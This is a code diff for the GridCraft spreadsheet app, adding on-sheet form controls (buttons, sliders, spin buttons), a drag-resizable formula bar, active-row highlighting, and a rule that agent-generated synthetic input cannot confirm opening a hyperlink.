d.values.insert(PASTE_LINK_NOW.into(), json!(true));
}
None => {}
}
}
// Browsers can deliver Text before or after Key. Act only on Key, then remove
+38 -1
View File
@@ -148,12 +148,13 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) {
let mut confirm = false;
let width = match d.name.as_str() {
"formatCells" => 560.0,
"about" => 660.0,
"about" => 820.0,
"insertFunction" | "commandSearch" | "nameManager" | "manageRules" | "journal" | "agents" | "equation" => 520.0,
"macros" => 480.0,
"recommendedCharts" => 600.0,
"analysisToolPak" => 420.0,
"solver" => 460.0,
"assignAction" => 440.0,
"zoom" => 220.0,
"pasteSpecial" => 480.0,
_ => 380.0,
@@ -203,6 +204,9 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) {
"solver" => solver(app, ui, &mut d, &mut confirm, &mut open),
"solverResults" => solver_results(app, ui, &mut d, &mut open),
"spelling" => spelling(app, ui, &mut d, &mut open),
"assignAction" => crate::control_ui::assign_dialog(app, ui, &mut d, &mut open),
"formatControl" => crate::control_ui::format_dialog(app, ui, &mut d, &mut open),
"controlQuestion" => crate::control_ui::question_dialog(app, ui, &mut d, &mut open),
"agents" => {
ui.label("GridCraft is fully drivable by agents. Every menu item, button and gesture is a command:");
ui.add_space(4.0);
@@ -407,6 +411,12 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) {
app.message = Some((d.title.clone(), "Return to the original worksheet to insert this picture, or cancel and choose another cell.".into()));
confirm = false;
}
if confirm && d.name == "openLink" {
confirm = false;
if confirm_open_link(app, &d) {
open = false;
}
}
if confirm && d.command.is_some() && home_sheet_deleted(app, &mut d) {
// References without a sheet name would land on whichever sheet is shown now.
app.message = Some((d.title.clone(), SHEET_DELETED.into()));
@@ -485,6 +495,33 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) {
}
}
/// OK in Open Hyperlink; returns whether the prompt closes. A pass that carries control-channel
/// input (`ui.key`, `ui.click`, `ui.drag`) can't say yes for the user (#2181): the link stays
/// unopened and the prompt open, with a message. Real input in that same pass is refused too, so
/// the user just presses OK again.
pub(super) fn confirm_open_link(app: &mut SheetApp, d: &Dialog) -> bool {
if app.synthetic_pending {
app.message = Some((d.title.clone(), SYNTHETIC_LINK_CONFIRM.into()));
return false;
}
if let Err(e) = open_confirmed_link(app, d) {
app.message = Some((d.title.clone(), crate::clean_error(&e)));
}
true
}
/// Why Open Hyperlink ignored an OK that arrived with synthetic control-channel input.
pub(super) const SYNTHETIC_LINK_CONFIRM: &str = "Synthetic input from the control channel can't open a link: press OK yourself to open it.";
/// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never
/// one a caller edited into its values afterwards.
pub(super) fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> {
let url = d.link.as_deref().unwrap_or_default();
let r = app.session.open_confirmed_link(url).map(|_| ()).map_err(|e| e.to_string());
app.after_engine();
r
}
pub(super) fn ok_cancel(ui: &mut egui::Ui, confirm: &mut bool, open: &mut bool) {
ui.add_space(8.0);
// A row as tall as the buttons: a right-to-left layout straight in the window takes all the
+3 -8
View File
@@ -375,7 +375,7 @@ pub fn formula_refs(text: &str) -> Vec<(usize, usize, RangeRef, Option<String>,
let offset = text.len() - body.len();
let Ok(toks) = gridcraft_engine::formula::lexer::tokenize(body) else { return vec![] };
let mut out: Vec<(usize, usize, RangeRef, Option<String>, usize)> = Vec::new();
let mut seen: Vec<String> = Vec::new();
let mut seen: std::collections::HashMap<String, usize> = std::collections::HashMap::new();
let mut i = 0;
while i < toks.len() {
use gridcraft_engine::formula::lexer::Tok;
@@ -407,13 +407,8 @@ pub fn formula_refs(text: &str) -> Vec<(usize, usize, RangeRef, Option<String>,
continue;
};
let key = body.get(start..end).unwrap_or("").replace('$', "").to_ascii_uppercase();
let idx = match seen.iter().position(|k| *k == key) {
Some(k) => k,
None => {
seen.push(key);
seen.len() - 1
}
};
let next = seen.len();
let idx = *seen.entry(key).or_insert(next);
out.push((start + offset, end + offset, range, sheet, idx % REF_COLOR_COUNT));
continue;
}
+463
View File
@@ -0,0 +1,463 @@
//! Form controls on the sheet: drawing buttons, sliders and spin buttons, and working them with
//! the pointer and the keyboard. A click operates a control; Ctrl or Cmd+click, or a right-click,
//! selects it instead (to move, resize or format it). Values change through `control.setValue`,
//! and a whole drag or a held arrow is one undo step.
//!
//! Positions are logical (see `Geo::rtl`): on a right-to-left sheet a control moves as a whole
//! but is not mirrored, so a point inside it is reflected back with [`inner`] first.
use egui::epaint::PathShape;
use egui::{Painter, Pos2, Rect, Stroke, StrokeKind, pos2, vec2};
use gridcraft_engine::model::{ControlKind, FormControl, ObjKind, ObjRef, Sheet};
use serde_json::json;
use crate::SheetApp;
use crate::grid::Geo;
use crate::theme::{self, Tokens};
/// How long an arrow or the track waits before it repeats, and then between repeats (seconds).
const REPEAT_DELAY: f64 = 0.4;
const REPEAT_EVERY: f64 = 0.06;
/// The part of a control under the pointer.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum Part {
Button,
/// A spin button's arrow that adds a step.
Up,
/// A spin button's arrow that takes a step away.
Down,
Thumb,
/// The track on the minimum's side of the thumb (a page down).
TrackBefore,
/// The track on the maximum's side of the thumb (a page up).
TrackAfter,
}
/// A control being worked with the pointer.
#[derive(Clone, Debug, PartialEq)]
pub struct Gesture {
pub id: u32,
pub part: Part,
/// Thumb drags: where along the track the pointer grabbed the thumb, from its centre.
pub grab: f32,
/// The undo stack's length when the gesture began: everything it changes is one step.
pub undo_start: usize,
/// When a held arrow or track repeats next (egui time, seconds).
pub next_repeat: f64,
}
/// What a control looks like this frame.
#[derive(Clone, Copy, Debug, Default, PartialEq)]
pub struct Look {
pub hover: Option<Part>,
pub pressed: Option<Part>,
pub focused: bool,
/// Show the value next to the thumb (while dragging).
pub show_value: bool,
}
fn fraction(c: &FormControl) -> f32 {
let span = c.max.saturating_sub(c.min).max(1) as f32;
(c.value.saturating_sub(c.min) as f32 / span).clamp(0.0, 1.0)
}
/// A slider's track and thumb in `r`. A horizontal slider has its minimum on the left; a vertical
/// one has it at the top (as Excel's scroll bars do).
pub fn slider_parts(r: Rect, c: &FormControl, z: f32) -> (Rect, Rect) {
let f = fraction(c);
if c.horizontal {
let knob = (r.height() - 4.0 * z).clamp(6.0 * z, 16.0 * z).min(r.width() / 2.0).max(1.0);
let track = Rect::from_center_size(r.center(), vec2((r.width() - knob).max(1.0), (4.0 * z).min(r.height())));
let x = track.left() + f * track.width();
(track, Rect::from_center_size(pos2(x, r.center().y), vec2(knob, (r.height() - 4.0 * z).max(4.0))))
} else {
let knob = (r.width() - 4.0 * z).clamp(6.0 * z, 16.0 * z).min(r.height() / 2.0).max(1.0);
let track = Rect::from_center_size(r.center(), vec2((4.0 * z).min(r.width()), (r.height() - knob).max(1.0)));
let y = track.top() + f * track.height();
(track, Rect::from_center_size(pos2(r.center().x, y), vec2((r.width() - 4.0 * z).max(4.0), knob)))
}
}
/// A spin button's halves: (the arrow that adds, the arrow that subtracts). Tall spin buttons
/// stack them (up on top); wide ones put them side by side (up on the right).
pub fn spin_parts(r: Rect) -> (Rect, Rect) {
if r.height() >= r.width() {
let (top, bottom) = r.split_top_bottom_at_fraction(0.5);
(top, bottom)
} else {
let (left, right) = r.split_left_right_at_fraction(0.5);
(right, left)
}
}
/// A logical point `p` inside control rect `r`, as the control is drawn: on a right-to-left
/// sheet the control moves as a whole without mirroring, so `p` is reflected within `r`.
pub fn inner(geo: &Geo, r: Rect, p: Pos2) -> Pos2 {
if geo.rtl { pos2(r.left() + r.right() - p.x, p.y) } else { p }
}
/// The part of control `c` (drawn in `r`) under `p`.
pub fn part_at(r: Rect, c: &FormControl, z: f32, p: Pos2) -> Option<Part> {
if !r.contains(p) {
return None;
}
Some(match c.kind {
ControlKind::Button => Part::Button,
ControlKind::Spin => {
let (up, _) = spin_parts(r);
if up.contains(p) { Part::Up } else { Part::Down }
}
ControlKind::Slider => {
let (_, thumb) = slider_parts(r, c, z);
if thumb.expand(2.0).contains(p) {
Part::Thumb
} else {
let before = if c.horizontal { p.x < thumb.center().x } else { p.y < thumb.center().y };
if before { Part::TrackBefore } else { Part::TrackAfter }
}
}
})
}
/// The value a thumb dragged to `p` stands for (`grab`: the offset from the thumb's centre where
/// it was grabbed).
pub fn value_at(r: Rect, c: &FormControl, z: f32, p: Pos2, grab: f32) -> f64 {
let (track, _) = slider_parts(r, c, z);
let f = if c.horizontal { (p.x - grab - track.left()) / track.width().max(1.0) } else { (p.y - grab - track.top()) / track.height().max(1.0) };
c.min as f64 + f.clamp(0.0, 1.0) as f64 * c.max.saturating_sub(c.min) as f64
}
/// Paints control `c` in `r`, in the sheet's control colours.
pub fn paint(p: &Painter, r: Rect, c: &FormControl, z: f32, look: Look) {
let t = Tokens::get(p.ctx());
let border = Stroke::new(1.0, t.sheet_control_border);
let bg = |part: Part| {
if look.pressed == Some(part) {
t.sheet_control_pressed
} else if look.hover == Some(part) {
t.sheet_control_hover
} else {
t.sheet_control_bg
}
};
let clip = p.with_clip_rect(r.expand(2.0 * z.max(1.0) + 3.0).intersect(p.clip_rect()));
match c.kind {
ControlKind::Button => {
let fill = bg(Part::Button);
clip.rect_filled(r, 3.0 * z, fill);
clip.rect_stroke(r, 3.0 * z, border, StrokeKind::Inside);
let shift = if look.pressed == Some(Part::Button) { vec2(0.0, 1.0) } else { vec2(0.0, 0.0) };
let g = clip.layout(c.text.clone(), theme::ui_font(12.0 * z), t.sheet_control_text, (r.width() - 8.0 * z).max(1.0));
clip.with_clip_rect(r.shrink(1.0).intersect(clip.clip_rect())).galley(r.center() - g.size() / 2.0 + shift, g, t.sheet_control_text);
}
ControlKind::Slider => {
clip.rect_filled(r, 2.0 * z, t.sheet_control_bg);
clip.rect_stroke(r, 2.0 * z, border, StrokeKind::Inside);
let (track, thumb) = slider_parts(r, c, z);
clip.rect_filled(track, 2.0 * z, t.sheet_track);
let filled = if c.horizontal {
Rect::from_min_max(track.min, pos2(thumb.center().x, track.max.y))
} else {
Rect::from_min_max(track.min, pos2(track.max.x, thumb.center().y))
};
clip.rect_filled(filled, 2.0 * z, t.sheet_fill);
let knob = if look.pressed == Some(Part::Thumb) || look.hover == Some(Part::Thumb) { t.sheet_control_text } else { t.sheet_thumb };
clip.rect_filled(thumb, 3.0 * z, knob);
clip.rect_stroke(thumb, 3.0 * z, Stroke::new(1.0, t.sheet_control_bg), StrokeKind::Inside);
if look.show_value {
let g = clip.layout_no_wrap(c.value.to_string(), theme::ui_font(11.0 * z), t.sheet_control_text);
let at = if c.horizontal {
pos2(thumb.center().x - g.size().x / 2.0, r.top() - g.size().y - 4.0 * z)
} else {
pos2(r.right() + 4.0 * z, thumb.center().y - g.size().y / 2.0)
};
let card = Rect::from_min_size(at, g.size()).expand(2.0 * z);
p.rect_filled(card, 2.0 * z, t.sheet_control_bg);
p.rect_stroke(card, 2.0 * z, border, StrokeKind::Inside);
p.galley(at, g, t.sheet_control_text);
}
}
ControlKind::Spin => {
let (up, down) = spin_parts(r);
let tall = r.height() >= r.width();
for (half, part) in [(up, Part::Up), (down, Part::Down)] {
clip.rect_filled(half, 2.0 * z, bg(part));
clip.rect_stroke(half, 2.0 * z, border, StrokeKind::Inside);
let s = (half.width().min(half.height()) * 0.28).max(1.5);
let m = half.center();
let tri = match (tall, part) {
(true, Part::Up) => vec![pos2(m.x, m.y - s * 0.6), pos2(m.x - s, m.y + s * 0.5), pos2(m.x + s, m.y + s * 0.5)],
(true, _) => vec![pos2(m.x, m.y + s * 0.6), pos2(m.x + s, m.y - s * 0.5), pos2(m.x - s, m.y - s * 0.5)],
(false, Part::Up) => vec![pos2(m.x + s * 0.6, m.y), pos2(m.x - s * 0.5, m.y + s), pos2(m.x - s * 0.5, m.y - s)],
(false, _) => vec![pos2(m.x - s * 0.6, m.y), pos2(m.x + s * 0.5, m.y - s), pos2(m.x + s * 0.5, m.y + s)],
};
clip.add(PathShape::convex_polygon(tri, t.sheet_control_text, Stroke::NONE));
}
}
}
if look.focused {
p.rect_stroke(r.expand(2.0), 3.0 * z, Stroke::new(2.0, t.sheet_focus), StrokeKind::Outside);
}
}
/// The control with `id` on `sh`.
pub fn find(sh: &Sheet, id: u32) -> Option<&FormControl> {
sh.controls.iter().find(|c| c.id == id)
}
/// How control `c` looks this frame, from the gesture, the focus and the pointer (`hover`, a
/// logical position).
pub fn look(app: &SheetApp, geo: &Geo, c: &FormControl, r: Rect, hover: Option<Pos2>) -> Look {
let gesture = app.grid.control.as_ref().filter(|g| g.id == c.id);
let selected = app.selected_object == Some(ObjRef::new(ObjKind::Control, c.id));
let hover = if selected { None } else { hover.and_then(|p| part_at(r, c, geo.z, inner(geo, r, p))) };
let pressed = gesture.map(|g| g.part).filter(|part| *part == Part::Thumb || hover == Some(*part));
Look { hover, pressed, focused: app.grid.focused_control == Some(c.id) && !selected, show_value: gesture.is_some_and(|g| g.part == Part::Thumb) }
}
impl SheetApp {
/// Sets a slider or spin button's value; inside a gesture, keeps it one undo step.
fn control_set(&mut self, id: u32, value: f64) -> bool {
match self.session.run("control.setValue", json!({"id": id, "value": value})) {
Ok(_) => {
if let Some(start) = self.grid.control.as_ref().map(|g| g.undo_start)
&& let Some(d) = self.session.active_mut()
&& d.undo.len() > start + 1
{
d.undo.truncate(start + 1);
}
true
}
Err(e) => {
self.grid.control = None;
self.message = Some(("Form Control".into(), crate::clean_error(&e)));
false
}
}
}
/// Moves a slider or spin button by `steps` steps (negative: toward the minimum), or by pages
/// when `page` is set.
pub fn control_nudge(&mut self, id: u32, steps: i64, page: bool) -> bool {
let Some(c) = self.session.active().and_then(|d| d.wb.active()).and_then(|sh| find(sh, id)).cloned() else { return false };
if c.kind == ControlKind::Button {
return false;
}
let by = if page && c.kind == ControlKind::Slider { c.page } else { c.step } as f64;
self.control_set(id, c.value as f64 + steps as f64 * by)
}
/// Runs a button's action. Questions (approve it, make room for a macro's output) become a
/// prompt.
pub fn press_button(&mut self, id: u32) {
crate::control_ui::press(self, json!({"id": id}));
}
}
/// Pointer handling for controls on the grid. Returns true when it used the pointer this frame
/// (so the grid neither selects cells nor objects).
pub fn interact(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Response, geo: &Geo, sh: &Sheet) -> bool {
let (pointer, mods, time) = ctx.input(|i| (i.pointer.clone(), i.modifiers, i.time));
let pos = pointer.interact_pos().or(pointer.hover_pos()).map(|p| geo.mirror_pos(p));
// A control that no longer exists loses its gesture and focus.
if let Some(id) = app.grid.focused_control
&& find(sh, id).is_none()
{
app.grid.focused_control = None;
}
if let Some(g) = app.grid.control.clone() {
let Some(c) = find(sh, g.id).cloned() else {
app.grid.control = None;
return true;
};
let r = crate::chartview::anchor_rect(geo, sh, &c.anchor);
if pointer.primary_down() {
match g.part {
Part::Thumb => {
if let Some(p) = pos {
let v = c.snap(value_at(r, &c, geo.z, inner(geo, r, p), g.grab));
if v != c.value {
app.control_set(c.id, v as f64);
}
}
}
Part::Button => {}
part => {
// Held arrows and track repeat while the pointer stays on them.
let over = pos.and_then(|p| part_at(r, &c, geo.z, inner(geo, r, p))) == Some(part);
if over && time >= g.next_repeat {
step_part(app, &c, part);
if let Some(gg) = app.grid.control.as_mut() {
gg.next_repeat = time + REPEAT_EVERY;
}
}
ctx.request_repaint_after(std::time::Duration::from_millis(30));
}
}
return true;
}
// Released: a button runs when the pointer is still on it.
app.grid.control = None;
if g.part == Part::Button && pos.is_some_and(|p| r.contains(p)) {
app.press_button(c.id);
}
resp.request_focus();
return true;
}
if !pointer.primary_pressed() || !resp.contains_pointer() {
// Any other press, on the grid (a right-click on a cell) or off it, moves the focus off
// the control, so a later Enter or Space doesn't work it.
if pointer.any_pressed() && app.grid.focused_control.is_some() {
app.grid.focused_control = None;
}
return false;
}
let Some(p) = pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos) else { return false };
// The selected object's handles reach past its frame and win over a control beneath them.
if let Some(r) = app.selected_object.and_then(|o| crate::chartview::object_rect(geo, sh, o))
&& crate::objects::handle_at(r, p).is_some()
{
return false;
}
let hit = crate::chartview::hit(app, geo, sh, p).filter(|(o, _)| o.kind == ObjKind::Control);
// Ctrl or Cmd+click selects; a selected control moves and resizes instead of working.
let Some((o, r)) = hit.filter(|(o, _)| !mods.command && !mods.ctrl && app.selected_object != Some(*o)) else {
app.grid.focused_control = None;
return false;
};
let Some(c) = find(sh, o.id).cloned() else { return false };
let p = inner(geo, r, p);
let Some(part) = part_at(r, &c, geo.z, p) else { return false };
app.selected_object = None;
app.grid.focused_control = Some(c.id);
let undo_start = app.session.active().map_or(0, |d| d.undo.len());
let grab = if part == Part::Thumb {
let (_, thumb) = slider_parts(r, &c, geo.z);
if c.horizontal { p.x - thumb.center().x } else { p.y - thumb.center().y }
} else {
0.0
};
app.grid.control = Some(Gesture { id: c.id, part, grab, undo_start, next_repeat: time + REPEAT_DELAY });
if !matches!(part, Part::Button | Part::Thumb) {
step_part(app, &c, part);
}
resp.request_focus();
true
}
/// One click on an arrow or the track.
fn step_part(app: &mut SheetApp, c: &FormControl, part: Part) {
match part {
Part::Up => app.control_nudge(c.id, 1, false),
Part::Down => app.control_nudge(c.id, -1, false),
Part::TrackBefore => app.control_nudge(c.id, -1, true),
Part::TrackAfter => app.control_nudge(c.id, 1, true),
Part::Button | Part::Thumb => false,
};
}
/// Whether the focused control is a button. Space presses one, so the space it types must not
/// start a cell edit; a slider or spin button doesn't take Space, and its space reaches the grid
/// like any other character.
pub fn focused_button(app: &SheetApp, sh: &Sheet) -> bool {
app.grid.focused_control.and_then(|id| find(sh, id)).is_some_and(|c| c.kind == ControlKind::Button)
}
/// The grid takes a key while a control is focused: a button gives the keyboard back, so a later
/// Enter or Space doesn't press it again and Space starts a cell edit; a slider or spin button
/// keeps it, as the control last worked, which the arrows still step.
pub fn key_to_grid(app: &mut SheetApp, sh: &Sheet) {
if focused_button(app, sh) {
app.grid.focused_control = None;
}
}
/// Keys for the focused control: arrows move by a step, Page Up and Page Down by a page, Home and
/// End to the ends; Space or Enter presses a button. True when the key was used. `repeat` is a key
/// held down: it steps a slider or spin button again, but a button runs once per press.
pub fn key(app: &mut SheetApp, sh: &Sheet, key: egui::Key, repeat: bool) -> bool {
use egui::Key;
let Some(c) = app.grid.focused_control.and_then(|id| find(sh, id)).cloned() else { return false };
if app.selected_object.is_some() {
return false;
}
match (c.kind, key) {
(_, Key::Escape) => {
app.grid.focused_control = None;
true
}
(ControlKind::Button, Key::Space | Key::Enter) => {
if !repeat {
app.press_button(c.id);
}
true
}
(ControlKind::Button, _) => false,
// A spin button's up arrow adds; a slider's minimum is at its left or top.
(ControlKind::Spin, Key::ArrowUp | Key::ArrowRight) | (ControlKind::Slider, Key::ArrowDown | Key::ArrowRight) => {
app.control_nudge(c.id, 1, false)
}
(ControlKind::Spin, Key::ArrowDown | Key::ArrowLeft) | (ControlKind::Slider, Key::ArrowUp | Key::ArrowLeft) => {
app.control_nudge(c.id, -1, false)
}
(ControlKind::Spin, Key::PageUp) | (ControlKind::Slider, Key::PageDown) => app.control_nudge(c.id, 1, true),
(ControlKind::Spin, Key::PageDown) | (ControlKind::Slider, Key::PageUp) => app.control_nudge(c.id, -1, true),
(_, Key::Home) => app.control_set(c.id, c.min as f64),
(_, Key::End) => app.control_set(c.id, c.max as f64),
_ => false,
}
}
#[cfg(test)]
mod tests {
use super::*;
fn slider(value: u32, horizontal: bool) -> FormControl {
FormControl { kind: ControlKind::Slider, min: 0, max: 100, value, horizontal, ..Default::default() }
}
#[test]
fn the_thumb_sits_at_the_value_and_dragging_reads_it_back() {
let r = Rect::from_min_size(pos2(10.0, 10.0), vec2(200.0, 20.0));
for v in [0, 25, 50, 100] {
let c = slider(v, true);
let (_, thumb) = slider_parts(r, &c, 1.0);
assert!((value_at(r, &c, 1.0, thumb.center(), 0.0) - v as f64).abs() < 0.5, "{v}");
assert_eq!(part_at(r, &c, 1.0, thumb.center()), Some(Part::Thumb));
}
let c = slider(50, true);
assert_eq!(part_at(r, &c, 1.0, pos2(15.0, 20.0)), Some(Part::TrackBefore));
assert_eq!(part_at(r, &c, 1.0, pos2(205.0, 20.0)), Some(Part::TrackAfter));
assert_eq!(part_at(r, &c, 1.0, pos2(5.0, 20.0)), None);
// Past the ends clamps.
assert_eq!(value_at(r, &c, 1.0, pos2(-500.0, 20.0), 0.0), 0.0);
assert_eq!(value_at(r, &c, 1.0, pos2(900.0, 20.0), 0.0), 100.0);
// Vertical: the minimum is at the top.
let r = Rect::from_min_size(pos2(0.0, 0.0), vec2(20.0, 200.0));
let c = slider(0, false);
let (_, thumb) = slider_parts(r, &c, 1.0);
assert!(thumb.center().y < 20.0);
assert_eq!(part_at(r, &slider(50, false), 1.0, pos2(10.0, 190.0)), Some(Part::TrackAfter));
}
#[test]
fn spin_halves() {
let tall = Rect::from_min_size(pos2(0.0, 0.0), vec2(18.0, 36.0));
let c = FormControl { kind: ControlKind::Spin, ..Default::default() };
assert_eq!(part_at(tall, &c, 1.0, pos2(9.0, 5.0)), Some(Part::Up));
assert_eq!(part_at(tall, &c, 1.0, pos2(9.0, 30.0)), Some(Part::Down));
let wide = Rect::from_min_size(pos2(0.0, 0.0), vec2(40.0, 18.0));
assert_eq!(part_at(wide, &c, 1.0, pos2(35.0, 9.0)), Some(Part::Up));
assert_eq!(part_at(wide, &c, 1.0, pos2(5.0, 9.0)), Some(Part::Down));
}
#[test]
fn degenerate_ranges_do_not_divide_by_zero() {
let r = Rect::from_min_size(pos2(0.0, 0.0), vec2(1.0, 1.0));
let c = FormControl { kind: ControlKind::Slider, min: 5, max: 5, value: 5, ..Default::default() };
let (track, thumb) = slider_parts(r, &c, 1.0);
assert!(track.width().is_finite() && thumb.center().x.is_finite());
assert!(value_at(r, &c, 1.0, pos2(0.5, 0.5), 0.0).is_finite());
}
}
+79 -5
View File
@@ -12,6 +12,14 @@ use crate::theme::{self, Tokens};
/// Lines the formula bar (and the in-cell editor) grows to before it scrolls.
pub const MAX_LINES: usize = 5;
/// The most lines a drag of the bar's bottom edge can give it (the window caps it at half its
/// height first).
pub const MAX_DRAG_LINES: usize = 100;
/// How far the bar's bottom edge reaches up into the bar as a resize handle (its bottom margin).
const HANDLE: f32 = 4.0;
/// What an expanded bar leaves below it: the status bar (26) and sheet tabs (32), and the
/// worksheet's column headings and two rows, so the grid never disappears in a short window.
const KEEP_BELOW: f32 = 26.0 + 32.0 + crate::grid::COL_HEADER_H + 2.0 * gridcraft_engine::model::DEFAULT_ROW_HEIGHT;
/// The bar's height at one line.
const ONE_LINE: f32 = 30.0;
/// What the bar adds around the field's rows: the panel's margins (3 + 3), the field's (3 + 3)
@@ -40,11 +48,22 @@ pub struct BarLayout {
pub visible_lines: usize,
/// The caret while editing in the bar.
pub caret: Option<Rect>,
/// The bottom edge that resizes the bar.
pub handle: Rect,
}
impl Default for BarLayout {
fn default() -> Self {
BarLayout { name_box: Rect::NOTHING, buttons: Rect::NOTHING, field: Rect::NOTHING, height: 0.0, lines: 1, visible_lines: 1, caret: None }
BarLayout {
name_box: Rect::NOTHING,
buttons: Rect::NOTHING,
field: Rect::NOTHING,
height: 0.0,
lines: 1,
visible_lines: 1,
caret: None,
handle: Rect::NOTHING,
}
}
}
@@ -73,13 +92,15 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) {
let font = theme::ui_font(13.0);
let row_h = ui.ctx().fonts_mut(|f| f.row_height(&font));
let last = BarLayout::get(ui.ctx());
// Height follows the content's line count (last frame's), 1 to MAX_LINES; the chevron pins it
// at MAX_LINES. It eases only when that target changes.
let lines = if app.ui.formula_bar_expanded { MAX_LINES } else { last.lines.clamp(1, MAX_LINES) };
// Height follows the content's line count (last frame's), 1 to MAX_LINES; expanded (the
// chevron), it is the height the bottom edge was dragged to. It eases only when that target
// changes.
let most = max_lines(ui.ctx().content_rect().height(), ui.available_rect_before_wrap().height(), row_h);
let lines = if app.ui.formula_bar_expanded { app.ui.formula_bar_lines.clamp(1, most) } else { last.lines.clamp(1, MAX_LINES) };
let target = one_line(row_h) + (lines - 1) as f32 * row_h;
let h = ui.ctx().animate_value_with_time(egui::Id::unique("formula_bar.height"), target, EASE_SECONDS);
let mut layout = BarLayout { height: h, ..Default::default() };
egui::Panel::top("formula_bar")
let panel = egui::Panel::top("formula_bar")
.exact_size(h)
.frame(egui::Frame::NONE.fill(t.window).inner_margin(egui::Margin { left: 8, right: 8, top: 3, bottom: 3 }))
.show(ui, |ui| {
@@ -156,9 +177,62 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) {
}
});
});
layout.handle = resize_handle(app, ui, panel.response.rect, row_h, most);
ui.ctx().data_mut(|d| d.insert_temp(BarLayout::id(), layout));
}
/// The most lines the bar takes in a window `window_h` tall with `room` left under the ribbon:
/// half the window, as in Excel (never fewer than the chevron's [`MAX_LINES`]), and no more than
/// leaves [`KEEP_BELOW`] for the status bar, sheet tabs and a few rows of the grid.
fn max_lines(window_h: f32, room: f32, row_h: f32) -> usize {
let lines_in = |h: f32| {
let fit = ((h - one_line(row_h)) / row_h).floor();
if fit.is_finite() && fit > 0.0 { fit as usize + 1 } else { 1 }
};
lines_in(window_h * 0.5).clamp(MAX_LINES, MAX_DRAG_LINES).min(lines_in(room - KEEP_BELOW))
}
/// The lines a bar whose top is at `top` shows with its bottom edge dragged to `y`, in whole lines.
fn dragged_lines(y: f32, top: f32, row_h: f32, most: usize) -> usize {
let extra = ((y - top - one_line(row_h)) / row_h).round();
if extra.is_finite() && extra > 0.0 { (extra as usize + 1).min(most) } else { 1 }
}
/// The bar's bottom edge: dragging it sets the bar's height in whole lines, as in Excel. The bar
/// follows the pointer; the release runs `view.expandFormulaBar` with the lines, so one drag is
/// one step (one line collapses the bar).
fn resize_handle(app: &mut SheetApp, ui: &mut egui::Ui, bar: Rect, row_h: f32, most: usize) -> Rect {
let handle = Rect::from_x_y_ranges(bar.x_range(), (bar.bottom() - HANDLE)..=bar.bottom());
let resp = ui.interact(handle, egui::Id::unique("formula_bar.resize"), Sense::drag());
let name = app.ui.language.tr("Resize formula bar");
resp.widget_info(|| egui::WidgetInfo::labeled(egui::Role::Button, true, name));
if resp.hovered() || resp.dragged() {
ui.ctx().set_cursor_icon(egui::CursorIcon::ResizeVertical);
}
// The state before the drag: the preview changes it, the release puts it back for the command.
let before = resp.id.with("before");
if resp.drag_started() {
let state = (app.ui.formula_bar_expanded, app.ui.formula_bar_lines);
ui.ctx().data_mut(|d| d.insert_temp(before, state));
}
if let Some(p) = resp.interact_pointer_pos().filter(|_| resp.dragged() || resp.drag_stopped()) {
let lines = dragged_lines(p.y, bar.top(), row_h, most);
if resp.drag_stopped() {
if let Some((expanded, kept)) = ui.ctx().data_mut(|d| d.remove_temp::<(bool, usize)>(before)) {
(app.ui.formula_bar_expanded, app.ui.formula_bar_lines) = (expanded, kept);
}
app.run_or_alert("view.expandFormulaBar", json!({"lines": lines}));
} else {
app.ui.formula_bar_expanded = lines > 1;
if lines > 1 {
app.ui.formula_bar_lines = lines;
}
ui.ctx().request_repaint();
}
}
handle
}
/// Resolve ownership on every frame; never cache a spill range in presentation state.
pub(crate) fn active_spill_anchor(app: &SheetApp) -> Option<gridcraft_engine::core::CellRef> {
let d = app.session.active()?;
+14
View File
@@ -22,6 +22,8 @@ type PagesCache = ((u64, u64, usize), Vec<(RangeRef, u32)>);
/// Cached Show Details cells, keyed by (doc uid, revision, sheet, pivot).
type DetailsCache = ((u64, u64, usize, usize), Option<std::collections::HashSet<(u32, u32)>>);
mod active_row;
pub use active_row::active_row_band;
mod cell_paint;
mod cursor;
mod editor;
@@ -101,6 +103,10 @@ pub enum Drag {
Select,
Rows(u32),
Cols(u32),
/// Point mode over the row headers: the formula's reference runs from this row to the pointer.
PointRows(u32),
/// Point mode over the column headers: the formula's reference runs from this column to the pointer.
PointCols(u32),
/// Reordering one contiguous whole-column selection by its header.
MoveCols {
source: RangeRef,
@@ -291,6 +297,14 @@ pub struct GridState {
pub hf_start: bool,
/// The grid geometry of the last frame (hit-testing for agents and tests).
pub geo: Option<Geo>,
/// A form control being worked with the pointer.
pub control: Option<crate::form_controls::Gesture>,
/// The form control that takes the arrow keys (the one last worked).
pub focused_control: Option<u32>,
/// Insert › Controls: the kind a click or drag on the grid places, and where the drag began
/// (logical position).
pub placing: Option<gridcraft_engine::model::ControlKind>,
pub place_start: Option<Pos2>,
/// The horizontal scrollbar's track in the sheet tab bar (hit-testing for tests).
pub hscroll: Option<Rect>,
/// The handle between the sheet tabs and the horizontal scrollbar (hit-testing for tests).
+28
View File
@@ -0,0 +1,28 @@
//! "Highlight the active cell's row" (File ▸ Options ▸ General): a tint across the whole row of
//! the active cell, so the eye keeps its place in a wide table.
use super::geo::Geo;
use super::quadrant::QuadrantPaint;
use super::{Rect, Sheet, pos2};
/// The tinted band of `row` inside one quadrant (`rows` x `cols`): none when the row is outside
/// the quadrant or hidden.
pub fn active_row_band(geo: &Geo, sh: &Sheet, row: u32, rows: (u32, u32), cols: (u32, u32)) -> Option<Rect> {
let height = sh.row_height(row) * geo.z;
if row < rows.0 || row > rows.1 || height <= 0.0 {
return None;
}
let top = geo.y(sh, row);
let right = geo.x(sh, cols.1) + sh.col_width(cols.1) * geo.z;
Some(Rect::from_min_max(pos2(geo.x(sh, cols.0), top), pos2(right, top + height)))
}
/// Paints the band of one quadrant, when the preference is on. With `within`, only the part of it
/// inside that area (text running past its cell has just cleared it).
pub(super) fn paint_active_row(q: &QuadrantPaint<'_>, within: Option<Rect>) {
let Some(band) = q.active_row.and_then(|row| active_row_band(q.geo, q.sheet, row, q.rows, q.cols)) else { return };
let part = within.map_or(band, |area| band.intersect(area));
